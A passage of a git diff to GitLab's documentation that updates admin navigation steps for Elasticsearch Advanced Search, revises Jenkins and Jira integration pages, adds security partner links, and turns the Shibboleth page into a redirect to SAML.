1. Personal snippets need to be indexed using another Rake task:
@@ -211,9 +216,7 @@ To enable Advanced Search, you need to have admin access to GitLab:
bundle exec rake gitlab:elastic:index_snippets RAILS_ENV=production
```
-1. After the indexing has completed, enable **Search with Elasticsearch enabled** in
- **Admin Area > Settings > Advanced Search** and click **Save
- changes**.
+1. After the indexing has completed, enable **Search with Elasticsearch enabled** and select **Save changes**.
NOTE:
When your Elasticsearch cluster is down while Elasticsearch is enabled,
@@ -283,7 +286,8 @@ You can improve the language support for Chinese and Japanese languages by utili
To enable language(s) support:
1. Install the desired plugin(s), please refer to [Elasticsearch documentation](https://www.elastic.co/guide/en/elasticsearch/plugins/7.9/installation.html) for plugins installation instructions. The plugin(s) must be installed on every node in the cluster, and each node must be restarted after installation. For a list of plugins, see the table later in this section.
-1. Navigate to the **Admin Area**, then **Settings > Advanced Search**..
+1. On the top bar, select **Menu >** **{admin}** **Admin**.
+1. On the left sidebar, select **Settings > Advanced Search**.
1. Locate **Custom analyzers: language support**.
1. Enable plugin(s) support for **Indexing**.
1. Click **Save changes** for the changes to take effect.
@@ -303,7 +307,8 @@ For guidance on what to install, see the following Elasticsearch language plugin
To disable the Elasticsearch integration:
-1. Navigate to the **Admin Area**, then **Settings > Advanced Search**.
+1. On the top bar, select **Menu >** **{admin}** **Admin**.
+1. On the left sidebar, select **Settings > Advanced Search**.
1. Uncheck **Elasticsearch indexing** and **Search with Elasticsearch enabled**.
1. Click **Save changes** for the changes to take effect.
1. (Optional) Delete the existing indexes:
@@ -334,7 +339,9 @@ index alias to it which becomes the new `primary` index. At the end, we resume t
To trigger the reindexing process:
1. Sign in to your GitLab instance as an administrator.
-1. Go to **Admin Area > Settings > Advanced Search > Elasticsearch zero-downtime reindexing**.
+1. On the top bar, select **Menu >** **{admin}** **Admin**.
+1. On the left sidebar, select **Settings > Advanced Search**.
+1. Expand **Elasticsearch zero-downtime reindexing**.
1. Select **Trigger cluster reindexing**.
Reindexing can be a lengthy process depending on the size of your Elasticsearch cluster.
@@ -349,7 +356,10 @@ While the reindexing is running, you will be able to follow its progress under t
> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/55681) in GitLab 13.12.
-The following reindex settings are available in **Admin Area > Settings > Advanced Search > Elasticsearch zero-downtime reindexing**:
+1. On the top bar, select **Menu >** **{admin}** **Admin**.
+1. On the left sidebar, select **Settings > Advanced Search**.
+1. Expand **Elasticsearch zero-downtime reindexing**, and you'll
+ find the following options:
- [Slice multiplier](#slice-multiplier)
- [Maximum running slices](#maximum-running-slices)
@@ -394,7 +404,10 @@ Sometimes, you might want to abandon the unfinished reindex job and resume the i
bundle exec rake gitlab:elastic:mark_reindex_failed RAILS_ENV=production
```
-1. Uncheck the "Pause Elasticsearch indexing" checkbox in **Admin Area > Settings > Advanced Search**.
+1. On the top bar, select **Menu >** **{admin}** **Admin**.
+1. On the left sidebar, select **Settings > Advanced Search**.
+1. Expand **Elasticsearch zero-downtime reindexing**.
+1. Clear the **Pause Elasticsearch indexing** checkbox.
## Advanced Search migrations
@@ -545,7 +558,7 @@ For basic guidance on choosing a cluster configuration you may refer to [Elastic
- A good guideline is to ensure you keep the number of shards per node below 20 per GB heap it has configured. A node with a 30GB heap should therefore have a maximum of 600 shards, but the further below this limit you can keep it the better. This will generally help the cluster stay in good health.
- Number of Elasticsearch shards:
- Small shards result in small segments, which increases overhead. Aim to keep the average shard size between at least a few GB and a few tens of GB.
- - Another consideration is the number of documents. To determine the number of shards to use, sum the numbers in the **Admin Area > Dashboard > Statistics** pane (the number of documents to be indexed), divide by 5 million, and add 5. For example:
+ - Another consideration is the number of documents. To determine the number of shards to use, sum the numbers in the **Menu >** **{admin}** **Admin > Dashboard > Statistics** pane (the number of documents to be indexed), divide by 5 million, and add 5. For example:
- If you have fewer than about 2,000,000 documents, use the default of 5 shards
- 10,000,000 documents: `10000000/5000000 + 5` = 7 shards
- 100,000,000 documents: `100000000/5000000 + 5` = 25 shards
@@ -622,7 +635,7 @@ Sidekiq processes](../administration/operations/extra_sidekiq_processes.md).
```
This enqueues a Sidekiq job for each project that needs to be indexed.
- You can view the jobs in **Admin Area > Monitoring > Background Jobs > Queues Tab**
+ You can view the jobs in **Menu >** **{admin}** **Admin > Monitoring > Background Jobs > Queues Tab**
and click `elastic_commit_indexer`, or you can query indexing status using a Rake task:
```shell
@@ -725,7 +738,7 @@ Sidekiq processes](../administration/operations/extra_sidekiq_processes.md).
### Deleted documents
-Whenever a change or deletion is made to an indexed GitLab object (a merge request description is changed, a file is deleted from the master branch in a repository, a project is deleted, etc), a document in the index is deleted. However, since these are "soft" deletes, the overall number of "deleted documents", and therefore wasted space, increases. Elasticsearch does intelligent merging of segments in order to remove these deleted documents. However, depending on the amount and type of activity in your GitLab installation, it's possible to see as much as 50% wasted space in the index.
+Whenever a change or deletion is made to an indexed GitLab object (a merge request description is changed, a file is deleted from the default branch in a repository, a project is deleted, etc), a document in the index is deleted. However, since these are "soft" deletes, the overall number of "deleted documents", and therefore wasted space, increases. Elasticsearch does intelligent merging of segments in order to remove these deleted documents. However, depending on the amount and type of activity in your GitLab installation, it's possible to see as much as 50% wasted space in the index.
In general, we recommend letting Elasticsearch merge and reclaim space automatically, with the default settings. From [Lucene's Handling of Deleted Documents](https://www.elastic.co/blog/lucenes-handling-of-deleted-documents "Lucene's Handling of Deleted Documents"), _"Overall, besides perhaps decreasing the maximum segment size, it is best to leave Lucene's defaults as-is and not fret too much about when deletes are reclaimed."_
diff --git a/doc/integration/github.md b/doc/integration/github.md
index 4d8adfe42f1..7459691831c 100644
--- a/doc/integration/github.md
+++ b/doc/integration/github.md
@@ -22,7 +22,7 @@ your website could enable the covert redirect attack.
## Enabling GitHub OAuth
-To enable the GitHub OmniAuth provider, you need an OAuth 2 Client ID and Client Secret from GitHub. To get these credentials, sign into GitHub and follow their procedure for [Creating an OAuth App](https://docs.github.com/en/developers/apps/creating-an-oauth-app).
+To enable the GitHub OmniAuth provider, you need an OAuth 2 Client ID and Client Secret from GitHub. To get these credentials, sign into GitHub and follow their procedure for [Creating an OAuth App](https://docs.github.com/en/developers/apps/building-oauth-apps/creating-an-oauth-app).
When you create an OAuth 2 app in GitHub, you need the following information:
diff --git a/doc/integration/google_workspace_saml.md b/doc/integration/google_workspace_saml.md
deleted file mode 100644
index a02e88cc33f..00000000000
--- a/doc/integration/google_workspace_saml.md
+++ /dev/null
@@ -1,9 +0,0 @@
----
-redirect_to: 'saml.md'
-remove_date: '2021-06-15'
----
-
-This document was moved to [another location](saml.md).
-
-<!-- This redirect file can be deleted after 2021-06-15>. -->
-<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page -->
diff --git a/doc/integration/jenkins.md b/doc/integration/jenkins.md
index 60c9faf938d..b6d720d2714 100644
--- a/doc/integration/jenkins.md
+++ b/doc/integration/jenkins.md
@@ -18,7 +18,7 @@ To better understand the GitLab Jenkins integration, watch the following video:
Use the Jenkins integration with GitLab when:
-- You plan to migrate your CI from Jenkins to [GitLab CI/CD](../ci/README.md) in the future, but
+- You plan to migrate your CI from Jenkins to [GitLab CI/CD](../ci/index.md) in the future, but
need an interim solution.
- You're invested in [Jenkins Plugins](https://plugins.jenkins.io/) and choose to keep using Jenkins
to build your apps.
@@ -65,7 +65,7 @@ Grant a GitLab user access to the select GitLab projects.
1. Grant the user permission to the GitLab projects.
If you're integrating Jenkins with many GitLab projects, consider granting the user global
- Administrator permission. Otherwise, add the user to each project, and grant Developer permission.
+ Administrator permission. Otherwise, add the user to each project, and grant the Developer role.
## Configure GitLab API access
@@ -137,13 +137,16 @@ Set up the Jenkins project you intend to run your build on.
}
```
+ For more Jenkins Pipeline script examples, go to the [Jenkins GitLab plugin repository on GitHub](https://github.com/jenkinsci/gitlab-plugin#scripted-pipeline-jobs).
+
## Configure the GitLab project
Configure the GitLab integration with Jenkins in one of the following ways.
### Recommended Jenkins integration
-GitLab recommends this approach for Jenkins integrations.
+GitLab recommends this approach for Jenkins integrations because it is easier to configure
+than the [webhook integration](#webhook-integration).
1. Create a new GitLab project or choose an existing one.
1. Go to **Settings > Integrations**, then select **Jenkins CI**.
@@ -217,3 +220,16 @@ If you don't find the errors above, but do find *duplicate* entries like below (
2019-10-25_04:22:41.25630 2019-10-25T04:22:41.256Z 1584 TID-ovowh4tek WebHookWorker JID-941fb7f40b69dff3d833c99b INFO: start
2019-10-25_04:22:41.25630 2019-10-25T04:22:41.256Z 1584 TID-ovowh4tek WebHookWorker JID-941fb7f40b69dff3d833c99b INFO: start
```
+
+### Enable job logs in Jenkins
+
+When troubleshooting an integration issue, it is useful to enable job logs in Jenkins to see more details about what is happening under the hood.
+To enable job logs in Jenkins:
+
+1. Go to **Dashboard > Manage Jenkins > System Log**.
+1. Select **Add new log recorder**.
+1. Enter a name for the log recorder.
+1. On the next screen, select **Add** and enter `org.jenkinsci.plugins.workflow.job` in the text field.
+1. Make sure that the Log Level is **All** and select **Save**.
+
+Now, after you run a build, you can go to the loggers page (**Dashboard > Manage Jenkins > System Log**), select your logger, and check the logs.
diff --git a/doc/integration/jira/connect-app.md b/doc/integration/jira/connect-app.md
index a080d513afa..fcee3f7a637 100644
--- a/doc/integration/jira/connect-app.md
+++ b/doc/integration/jira/connect-app.md
@@ -4,21 +4,24 @@ group: Ecosystem
info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
---
-# GitLab.com for Jira Cloud app **(FREE SAAS)**
+# GitLab.com for Jira Cloud app **(FREE)**
+
+## GitLab.com for Jira Cloud app **(FREE SAAS)**
You can integrate GitLab.com and Jira Cloud using the
[GitLab.com for Jira Cloud](https://marketplace.atlassian.com/apps/1221011/gitlab-com-for-jira-cloud)
-app in the Atlassian Marketplace. The user configuring GitLab.com for Jira Cloud must have
+app in the Atlassian Marketplace. The user configuring GitLab.com for Jira Cloud app must have
[Maintainer](../../user/permissions.md) permissions in the GitLab.com namespace.
This integration method supports [smart commits](dvcs.md#smart-commits).
This method is recommended when using GitLab.com and Jira Cloud because data is
synchronized in real-time. The DVCS connector updates data only once per hour.
-If you are not using both of these environments, use the [Jira DVCS Connector](dvcs.md) method.
+If you are not using both of these environments, use the [Jira DVCS Connector](dvcs.md) method or
+[steps to install GitLab.com for Jira Cloud app for self-managed instances](#install-the-gitlabcom-for-jira-cloud-app-for-self-managed-instances).
<i class="fa fa-youtube-play youtube" aria-hidden="true"></i>
-For a walkthrough of the integration with GitLab.com for Jira Cloud, watch
+For a walkthrough of the integration with GitLab.com for Jira Cloud app, watch
[Configure GitLab.com Jira Could Integration using Marketplace App](https://youtu.be/SwR-g1s1zTo) on YouTube.
1. Go to **Jira Settings > Apps > Find new apps**, then search for GitLab.
@@ -52,10 +55,10 @@ After a namespace is added:
Support for syncing past branch and commit data [is planned](https://gitlab.com/gitlab-org/gitlab/-/issues/263240).
-## Install the GitLab.com for Jira Cloud application for self-managed instances **(FREE SELF)**
+## Install the GitLab.com for Jira Cloud app for self-managed instances **(FREE SELF)**
If your GitLab instance is self-managed, you must follow some
-extra steps to install the GitLab.com for Jira Cloud application.
+extra steps to install the GitLab.com for Jira Cloud app.
Each Jira Cloud application must be installed from a single location. Jira fetches
a [manifest file](https://developer.atlassian.com/cloud/jira/platform/connect-app-descriptor/)
@@ -121,9 +124,9 @@ for details.
NOTE:
DVCS means distributed version control system.
-## Troubleshooting GitLab.com for Jira Cloud
+## Troubleshooting GitLab.com for Jira Cloud app
-The GitLab.com for Jira Cloud app uses an iframe to add namespaces on the settings page. Some browsers block cross-site cookies. This can lead to a message saying that the user needs to log in on GitLab.com even though the user is already logged in.
+The GitLab.com for Jira Cloud app uses an iframe to add namespaces on the settings page. Some browsers block cross-site cookies, which can lead to a message saying that the user needs to log in on GitLab.com even though the user is already logged in.
> "You need to sign in or sign up before continuing."
diff --git a/doc/integration/jira/development_panel.md b/doc/integration/jira/development_panel.md
index 3aba2e3b3a0..9057267d55e 100644
--- a/doc/integration/jira/development_panel.md
+++ b/doc/integration/jira/development_panel.md
@@ -31,11 +31,6 @@ This integration connects all GitLab projects to projects in the Jira instance i
including the projects in its subgroups.
- A personal namespace: Connects the projects in that personal namespace to Jira.
-This differs from the [Jira integration](index.md),
-where the mapping is between one GitLab project and the entire Jira instance.
-You can install both integrations to take advantage of both sets of features.
-A [feature comparison](index.md#direct-feature-comparison) is available.
-
## Use the integration
After the integration is [set up on GitLab and Jira](#configure-the-integration), you can:
@@ -44,7 +39,8 @@ After the integration is [set up on GitLab and Jira](#configure-the-integration)
commit messages, and merge request titles.
- See the linked branches, commits, and merge requests in Jira issues:
-Merge requests are called "pull requests" in Jira issues.
+At this time, merge requests are called "pull requests" in Jira issues.
+This name may change in a future Jira release.
Select the links to see your GitLab repository data.
@@ -72,13 +68,13 @@ To simplify administration, we recommend that a GitLab group maintainer or group
| Jira usage | GitLab.com customers need | GitLab self-managed customers need |
|------------|---------------------------|------------------------------------|
-| [Atlassian cloud](https://www.atlassian.com/cloud) | The [GitLab.com for Jira Cloud](https://marketplace.atlassian.com/apps/1221011/gitlab-com-for-jira-cloud?hosting=cloud&tab=overview) application installed from the [Atlassian Marketplace](https://marketplace.atlassian.com). This offers real-time sync between GitLab and Jira. | The [GitLab.com for Jira Cloud](https://marketplace.atlassian.com/apps/1221011/gitlab-com-for-jira-cloud?hosting=cloud&tab=overview), using a workaround process. See the documentation for [installing the GitLab Jira Cloud application for self-managed instances](connect-app.md#install-the-gitlabcom-for-jira-cloud-application-for-self-managed-instances) for more information. |
+| [Atlassian cloud](https://www.atlassian.com/cloud) | The [GitLab.com for Jira Cloud](https://marketplace.atlassian.com/apps/1221011/gitlab-com-for-jira-cloud?hosting=cloud&tab=overview) application installed from the [Atlassian Marketplace](https://marketplace.atlassian.com). This offers real-time sync between GitLab and Jira. | The [GitLab.com for Jira Cloud](https://marketplace.atlassian.com/apps/1221011/gitlab-com-for-jira-cloud?hosting=cloud&tab=overview), using a workaround process. See the documentation for [installing the GitLab Jira Cloud application for self-managed instances](connect-app.md#install-the-gitlabcom-for-jira-cloud-app-for-self-managed-instances) for more information. |
| Your own server | The Jira DVCS (distributed version control system) connector. This syncs data hourly. | The [Jira DVCS Connector](dvcs.md). |
Each GitLab project can be configured to connect to an entire Jira instance. That means after
configuration, one GitLab project can interact with all Jira projects in that instance. For:
-- The [view Jira issues](issues.md#view-jira-issues) feature, you must associate a GitLab project with a
+- The [view Jira issues](issues.md#view-jira-issues) feature **(PREMIUM)**, you must associate a GitLab project with a
specific Jira project.
- Other features, you do not have to explicitly associate a GitLab project with any single Jira
project.
@@ -86,16 +82,16 @@ configuration, one GitLab project can interact with all Jira projects in that in
If you have a single Jira instance, you can pre-fill the settings. For more information, read the
documentation for [central administration of project integrations](../../user/admin_area/settings/project_integration_management.md).
-To enable the Jira service in GitLab, you must:
+To enable the integration in GitLab, you must:
-1. [Configure the project in Jira](dvcs.md#configure-jira-for-dvcs).
+1. [Configure the project in Jira](index.md#jira-integration).
The supported Jira versions are `v6.x`, `v7.x`, and `v8.x`.
1. [Enter the correct values in GitLab](#configure-gitlab).
### Configure GitLab
To enable the integration in your GitLab project, after you
-[configure your Jira project](dvcs.md#configure-jira-for-dvcs):
+[configure your Jira project](index.md#jira-integration):
1. Ensure your GitLab installation does not use a relative URL, as described in
[Limitations](#limitations).
@@ -114,12 +110,14 @@ To enable the integration in your GitLab project, after you
this GitLab project, such as `https://jira.example.com`.
- **Jira API URL**: The base URL to the Jira instance API, such as `https://jira-api.example.com`.
Defaults to the **Web URL** value if not set. Leave blank if using **Jira on Atlassian cloud**.
- - **Username or Email**: Created when you [configured Jira](dvcs.md#configure-jira-for-dvcs).
+ - **Username or Email**:
For **Jira Server**, use `username`. For **Jira on Atlassian cloud**, use `email`.
- - **Password/API token**: Created when you [configured Jira](dvcs.md#configure-jira-for-dvcs).
+ See [authentication in Jira](index.md#authentication-in-jira).
+ - **Password/API token**:
Use `password` for **Jira Server** or `API token` for **Jira on Atlassian cloud**.
-1. To enable users to view Jira issues inside the GitLab project, select **Enable Jira issues** and
- enter a Jira project key. **(PREMIUM)**
+ See [authentication in Jira](index.md#authentication-in-jira).
+1. To enable users to view Jira issues inside the GitLab project **(PREMIUM)**, select **Enable Jira issues** and
+ enter a Jira project key.
You can display issues only from a single Jira project in a given GitLab project.
@@ -127,7 +125,7 @@ To enable the integration in your GitLab project, after you
If you enable Jira issues with this setting, all users with access to this GitLab project
can view all issues from the specified Jira project.
-1. To enable issue creation for vulnerabilities, select **Enable Jira issues creation from vulnerabilities**.
+1. To enable issue creation for vulnerabilities **(ULTIMATE)**, select **Enable Jira issues creation from vulnerabilities**.
1. Select the **Jira issue type**. If the dropdown is empty, select refresh (**{retry}**) and try again.
1. To verify the Jira connection is working, select **Test settings**.
1. Select **Save changes**.
diff --git a/doc/integration/jira/dvcs.md b/doc/integration/jira/dvcs.md
index dc23765337b..d69243e50a6 100644
--- a/doc/integration/jira/dvcs.md
+++ b/doc/integration/jira/dvcs.md
@@ -7,9 +7,9 @@ info: To determine the technical writer assigned to the Stage/Group associated w
# Jira DVCS connector **(FREE)**
Use the Jira DVCS (distributed version control system) connector if you self-host
-either your Jira instance or your GitLab instance, and you want to sync information
-between them. If you use Jira Cloud and GitLab.com, you should use the
-[GitLab for Jira app](connect-app.md) unless you specifically need the DVCS connector.
+your Jira instance, and you want to sync information
+between GitLab and Jira. If you use Jira Cloud and GitLab.com, you should use the
+[GitLab.com for Jira Cloud app](connect-app.md) unless you specifically need the DVCS connector.
When you configure the Jira DVCS connector, make sure your GitLab and Jira instances
are accessible.
@@ -67,8 +67,9 @@ your integration.
1. In GitLab, [create a user](../../user/profile/account/create_accounts.md) for Jira to
use to connect to GitLab. For Jira to access all projects,
- a user with [Administrator](../../user/permissions.md) permissions must
- create the user.
+ a user with [administrator](../../user/permissions.md) permissions must
+ create the user with administrator permissions.
+1. Sign in as the `jira` user.
1. In the top right corner, click the account's avatar, and select **Edit profile**.
1. In the left sidebar, select **Applications**.
1. In the **Name** field, enter a descriptive name for the integration, such as `Jira`.
@@ -77,6 +78,7 @@ your integration.
- *For GitLab versions 13.0 and later* **and** *Jira versions 8.14 and later,* use the
generated `Redirect URL` from
[Linking GitLab accounts with Jira](https://confluence.atlassian.com/adminjiraserver/linking-gitlab-accounts-1027142272.html).
+ - *For GitLab versions 13.0 and later* **and** *Jira Cloud,* use `https://<gitlab.example.com>/login/oauth/callback`.
- *For GitLab versions 11.3 and later,* use `https://<gitlab.example.com>/login/oauth/callback`.
If you use GitLab.com, the URL is `https://gitlab.com/login/oauth/callback`.
- *For GitLab versions 11.2 and earlier,* use
@@ -89,9 +91,6 @@ your integration.
## Configure Jira for DVCS
-If you use Jira Cloud and GitLab.com, use the [GitLab for Jira app](connect-app.md)
-unless you specifically need the DVCS Connector.
-
Configure this connection when you want to import all GitLab commits and branches,
for the groups you specify, into Jira. This import takes a few minutes and, after
it completes, refreshes every 60 minutes:
diff --git a/doc/integration/jira/index.md b/doc/integration/jira/index.md
index 2646a6c5e2e..a85ffdd1feb 100644
--- a/doc/integration/jira/index.md
+++ b/doc/integration/jira/index.md
@@ -7,28 +7,28 @@ info: To determine the technical writer assigned to the Stage/Group associated w
# Jira integrations **(FREE)**
If your organization uses [Jira](https://www.atlassian.com/software/jira) issues,
-you can [migrate](../../user/project/import/jira.md) your issues from Jira and work
+you can [migrate your issues from Jira](../../user/project/import/jira.md) **(PREMIUM)** and work
exclusively in GitLab. However, if you'd like to continue to use Jira, you can
integrate it with GitLab. GitLab offers two types of Jira integrations, and you
-can use one or both depending on the capabilities you need.
+can use one or both depending on the capabilities you need. It is recommended that you enable both.
-## Compare Jira integrations
+## Compare integrations
After you set up one or both of these integrations, you can cross-reference activity
in your GitLab project with any of your projects in Jira.
-<i class="fa fa-youtube-play youtube" aria-hidden="true"></i>
-For an overview, see [Agile Management - GitLab-Jira Basic Integration](https://www.youtube.com/watch?v=fWvwkx5_00E&feature=youtu.be).
+### Jira integration
-### Per-project Jira integration
+This integration connects one or more GitLab project to a Jira instance. The Jira instance
+can be hosted by you or in [Atlassian cloud](https://www.atlassian.com/cloud).
+The supported Jira versions are `v6.x`, `v7.x`, and `v8.x`.
-This integration connects a single GitLab project to a Jira instance. The Jira instance
-can be hosted by you or in [Atlassian cloud](https://www.atlassian.com/cloud):
+<i class="fa fa-youtube-play youtube" aria-hidden="true"></i>
+For an overview, see [Agile Management - GitLab-Jira Basic Integration](https://www.youtube.com/watch?v=fWvwkx5_00E&feature=youtu.be).
-- *If your installation uses Jira Cloud,* use the
- [GitLab for Jira app](connect-app.md).
-- *If either your Jira or GitLab installation is self-managed,* use the
- [Jira DVCS Connector](dvcs.md).
+To set up the integration, [configure the project settings](development_panel.md#configure-gitlab) in GitLab.
+You can also configure these settings at a [group level](../../user/admin_area/settings/project_integration_management.md#manage-group-level-default-settings-for-a-project-integration),
+and for self-managed GitLab, at an [instance level](../../user/admin_area/settings/project_integration_management.md#manage-instance-level-default-settings-for-a-project-integration).
### Jira development panel integration
@@ -37,6 +37,13 @@ connects all GitLab projects under a group or personal namespace. When configure
relevant GitLab information, including related branches, commits, and merge requests,
displays in the [development panel](https://support.atlassian.com/jira-software-cloud/docs/view-development-information-for-an-issue/).
+To set up the Jira development panel integration:
+
+- *If your installation uses Jira Cloud,* use the
+ [GitLab for Jira app](connect-app.md).
+- *If either your Jira or GitLab installation is self-managed,* use the
+ [Jira DVCS Connector](dvcs.md).
+
### Direct feature comparison
| Capability | Jira integration | Jira Development panel integration |
@@ -48,7 +55,7 @@ displays in the [development panel](https://support.atlassian.com/jira-software-
| Add Jira time tracking to an issue. | No. | Yes. Time can be specified using Jira Smart Commits. |
| Use a Git commit or merge request to transition or close a Jira issue. | Yes. Only a single transition type, typically configured to close the issue by setting it to Done. | Yes. Transition to any state using Jira Smart Commits. |
| Display a list of Jira issues. | Yes. **(PREMIUM)** | No. |
-| Create a Jira issue from a vulnerability or finding. **(ULTIMATE)** | Yes. | No. |
+| Create a Jira issue from a vulnerability or finding. | Yes. **(ULTIMATE)** | No. |
## Authentication in Jira
@@ -64,10 +71,10 @@ The process for configuring Jira depends on whether you host Jira on your own se
## Privacy considerations
-If you integrate a private GitLab project with Jira using the [**Per-project Jira integration**](#per-project-jira-integration),
+If you integrate a private GitLab project with Jira using the [**Jira integration**](#jira-integration),
actions in GitLab issues and merge requests linked to a Jira issue leak information
about the private project to non-administrator Jira users. If your installation uses Jira Cloud,
-you can use the [GitLab for Jira app](connect-app.md) to avoid this risk.
+you can use the [GitLab.com for Jira Cloud app](connect-app.md) to avoid this risk.
## Troubleshooting
@@ -96,3 +103,8 @@ which may lead to a `401 unauthorized` error when testing your Jira integration.
If CAPTCHA has been triggered, you can't use Jira's REST API to
authenticate with the Jira site. You need to log in to your Jira instance
and complete the CAPTCHA.
+
+## Third-party Jira integrations
+
+Developers have built several third-party Jira integrations for GitLab that are
+listed on the [Atlassian Marketplace](https://marketplace.atlassian.com/search?product=jira&query=gitlab).
diff --git a/doc/integration/jira/issues.md b/doc/integration/jira/issues.md
index 91311f85310..34ca5481b85 100644
--- a/doc/integration/jira/issues.md
+++ b/doc/integration/jira/issues.md
@@ -6,7 +6,7 @@ info: To determine the technical writer assigned to the Stage/Group associated w
# Jira integration issue management **(FREE)**
-Integrating issue management with Jira requires you to [configure Jira](development_panel.md#configure-the-integration)
+Integrating issue management with Jira requires you to [configure Jira](index.md#jira-integration)
and [enable the Jira service](development_panel.md#configure-gitlab) in GitLab.
After you configure and enable the integration, you can reference and close Jira
issues by mentioning the Jira ID in GitLab commits and merge requests.
@@ -49,13 +49,10 @@ You can [disable comments](#disable-comments-on-jira-issues) on issues.
> - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/280766) in [GitLab Ultimate](https://about.gitlab.com/pricing/) 13.12 behind a feature flag, disabled by default.
> - [Deployed behind a feature flag](../../user/feature_flags.md), disabled by default.
-> - Disabled on GitLab.com.
-> - Not recommended for production use.
-> - To use in GitLab self-managed instances, ask a GitLab administrator to [enable it](#enable-or-disable-the-ability-to-require-an-associated-jira-issue-on-merge-requests). **(ULTIMATE SELF)**
-
-This in-development feature might not be available for your use. There can be
-[risks when enabling features still in development](../../user/application_security/index.md#security-approvals-in-merge-requests).
-Refer to this feature's version history for more details.
+> - [Enabled by default](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/61722) in GitLab 14.1.
+> - Enabled on GitLab.com.
+> - Recommended for production use.
+> - For GitLab self-managed instances, GitLab administrators can opt to [disable it](#enable-or-disable-the-ability-to-require-an-associated-jira-issue-on-merge-requests). **(ULTIMATE SELF)**
You can prevent merge requests from being merged if they do not refer to a Jira issue.
To enforce this:
@@ -125,7 +122,7 @@ Issues are grouped into tabs based on their
- **Closed** tab: All issues with a Jira status categorized as Done.
- **All** tab: All issues of any status.
-## Search and filter the issues list
+### Search and filter the issues list **(PREMIUM)**
To refine the list of issues, use the search bar to search for any text
contained in an issue summary (title) or description. Use any combination
@@ -188,9 +185,9 @@ adding a comment to the Jira issue:
## Enable or disable the ability to require an associated Jira issue on merge requests
The ability to require an associated Jira issue on merge requests is under development
-and not ready for production use. It is deployed behind a feature flag that is
-**disabled by default**.
-[GitLab administrators with access to the GitLab Rails console](../../administration/feature_flags.md) can enable it.
+but ready for production use. It is deployed behind a feature flag that is
+**enabled by default**.
+[GitLab administrators with access to the GitLab Rails console](../../administration/feature_flags.md) can opt to disable it.
To enable it:
diff --git a/doc/integration/kerberos.md b/doc/integration/kerberos.md
index efff31bec99..5b827d23772 100644
--- a/doc/integration/kerberos.md
+++ b/doc/integration/kerberos.md
@@ -331,6 +331,11 @@ remove the OmniAuth provider named `kerberos` from your `gitlab.yml` /
1. [Reconfigure GitLab](../administration/restart_gitlab.md#omnibus-gitlab-reconfigure) for the changes to take effect.
+NOTE:
+Removing the `kerberos` OmniAuth provider can also resolve a rare
+`Krb5Auth::Krb5::Exception (No credentials cache found)` error (`500` error in GitLab)
+when trying to clone via HTTPS.
+
## Support for Active Directory Kerberos environments
When using Kerberos ticket-based authentication in an Active Directory domain,
diff --git a/doc/integration/saml.md b/doc/integration/saml.md
index 927dd3cd714..8e34f115072 100644
--- a/doc/integration/saml.md
+++ b/doc/integration/saml.md
@@ -201,6 +201,9 @@ For example configurations, see the [notes on specific providers](#providers).
If a username is not specified, the email address is used to generate the GitLab username.
+See [`attribute_statements`](#attribute_statements) for examples on how the
+assertions are configured.
+
Please refer to [the OmniAuth SAML gem](https://github.com/omniauth/omniauth-saml/blob/master/lib/omniauth/strategies/saml.rb)
for a full list of supported assertions.
@@ -849,7 +852,7 @@ Another issue that can result in this error is when the correct information is b
These errors all come from a similar place, the SAML certificate. SAML requests
need to be validated using a fingerprint, a certificate or a validator.
-For this you need take the following into account:
+For this you need to take the following into account:
- If a fingerprint is used, it must be the SHA1 fingerprint
- If no certificate is provided in the settings, a fingerprint or fingerprint
diff --git a/doc/integration/security_partners/index.md b/doc/integration/security_partners/index.md
index 1cd14947e74..2b851b5f614 100644
--- a/doc/integration/security_partners/index.md
+++ b/doc/integration/security_partners/index.md
@@ -12,12 +12,18 @@ each security partner:
<!-- vale gitlab.Spelling = NO -->
+- [Accurics](https://readme.accurics.com/1409/)
- [Anchore](https://docs.anchore.com/current/docs/using/integration/ci_cd/gitlab/)
- [Bridgecrew](https://docs.bridgecrew.io/docs/integrate-with-gitlab-self-managed)
- [Checkmarx](https://checkmarx.atlassian.net/wiki/spaces/SD/pages/1929937052/GitLab+Integration)
+- [Deepfactor](https://docs.deepfactor.io/hc/en-us/articles/1500008981941)
+- [GrammaTech](https://www.grammatech.com/codesonar-gitlab-integration)
- [Indeni](https://indeni.com/doc-indeni-cloudrail/integrate-with-ci-cd/gitlab-instructions/)
- [JScrambler](https://docs.jscrambler.com/code-integrity/documentation/gitlab-ci-integration)
+- [Semgrep](https://semgrep.dev/for/gitlab)
- [StackHawk](https://docs.stackhawk.com/continuous-integration/gitlab.html)
+- [Venafi](https://marketplace.venafi.com/details/gitlab-ci-cd/)
+- [Veracode](https://community.veracode.com/s/knowledgeitem/gitlab-ci-MCEKSYPRWL35BRTGOVI55SK5RI4A)
- [WhiteSource](https://www.whitesourcesoftware.com/gitlab/)
<!-- vale gitlab.Spelling = YES -->
diff --git a/doc/integration/shibboleth.md b/doc/integration/shibboleth.md
index c4cf19747be..4a3aa6b3dc5 100644
--- a/doc/integration/shibboleth.md
+++ b/doc/integration/shibboleth.md
@@ -1,151 +1,9 @@
---
-stage: Create
-group: Ecosystem
-info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
+redirect_to: 'saml.md'
+remove_date: '2021-09-29'
---
-# Shibboleth OmniAuth Provider **(FREE)**
+This file was moved to [another location](saml.md).
-NOTE:
-The preferred approach for integrating a Shibboleth authentication system
-with GitLab 10 or newer is to use the [GitLab SAML integration](saml.md). This documentation is for Omnibus GitLab 9.x installs or older.
-
-To enable Shibboleth support in GitLab we need to use Apache instead of NGINX. (It may be possible to use NGINX, however this is difficult to configure using the bundled NGINX provided in the Omnibus GitLab package.) Apache uses `mod_shib2` module for Shibboleth authentication and can pass attributes as headers to OmniAuth Shibboleth provider.
-
-To enable the Shibboleth OmniAuth provider you must configure Apache Shibboleth module.
-The installation and configuration of the module itself is out of the scope of this document.
-Check [the Shibboleth documentation](https://wiki.shibboleth.net/confluence/display/SP3/Apache) for more information.
-
-You can find Apache configuration in [GitLab Recipes](https://gitlab.com/gitlab-org/gitlab-recipes/tree/master/web-server/apache).
-
-The following changes are needed to enable Shibboleth:
-
